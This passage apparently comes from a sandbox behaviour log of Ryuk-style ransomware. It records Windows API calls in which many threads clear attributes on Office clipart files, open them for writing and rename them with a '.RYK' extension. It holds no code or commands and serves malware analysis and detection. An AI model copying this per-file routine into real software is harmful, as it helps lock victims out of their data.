	[0239.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2024
	os_tid = 0x2544

	[0239.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF", dwFileAttributes=0x80) returned 0
	[0239.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2025
	os_tid = 0x2548

	[0239.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF", dwFileAttributes=0x80) returned 0
	[0239.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.802] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2026
	os_tid = 0x254c

	[0239.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF", dwFileAttributes=0x80) returned 0
	[0239.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2027
	os_tid = 0x2550

	[0239.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF", dwFileAttributes=0x80) returned 0
	[0239.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.929] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2028
	os_tid = 0x2554

	[0239.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF", dwFileAttributes=0x80) returned 0
	[0239.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2029
	os_tid = 0x2558

	[0239.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF", dwFileAttributes=0x80) returned 0
	[0239.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2030
	os_tid = 0x255c

	[0239.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF", dwFileAttributes=0x80) returned 0
	[0239.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2031
	os_tid = 0x2560

	[0239.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF", dwFileAttributes=0x80) returned 0
	[0239.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2032
	os_tid = 0x2564

	[0239.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF", dwFileAttributes=0x80) returned 0
	[0239.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2033
	os_tid = 0x2568

	[0239.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF", dwFileAttributes=0x80) returned 0
	[0239.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2034
	os_tid = 0x256c

	[0239.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF", dwFileAttributes=0x80) returned 0
	[0239.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2035
	os_tid = 0x2570

	[0239.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF", dwFileAttributes=0x80) returned 0
	[0240.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2036
	os_tid = 0x2574

	[0239.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG", dwFileAttributes=0x80) returned 0
	[0239.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2037
	os_tid = 0x2578

	[0239.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF", dwFileAttributes=0x80) returned 0
	[0239.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2038
	os_tid = 0x257c

	[0239.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF", dwFileAttributes=0x80) returned 0
	[0239.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2039
	os_tid = 0x2580

	[0239.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF", dwFileAttributes=0x80) returned 0
	[0239.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2040
	os_tid = 0x2584

	[0239.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF", dwFileAttributes=0x80) returned 0
	[0239.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2041
	os_tid = 0x2588

	[0239.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF", dwFileAttributes=0x80) returned 0
	[0239.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2042
	os_tid = 0x258c

	[0239.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF", dwFileAttributes=0x80) returned 0
	[0239.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2043
	os_tid = 0x2590

	[0239.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF", dwFileAttributes=0x80) returned 0
	[0239.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2044
	os_tid = 0x2594

	[0239.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF", dwFileAttributes=0x80) returned 0
	[0239.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2045
	os_tid = 0x2598

	[0239.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF", dwFileAttributes=0x80) returned 0
	[0239.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2046
	os_tid = 0x259c

	[0239.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG", dwFileAttributes=0x80) returned 0
	[0239.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2047
	os_tid = 0x25a0

	[0239.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG", dwFileAttributes=0x80) returned 0
	[0239.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2048
	os_tid = 0x25a4

	[0239.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG", dwFileAttributes=0x80) returned 0
	[0239.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2049
	os_tid = 0x25a8

	[0239.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG", dwFileAttributes=0x80) returned 0
	[0239.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
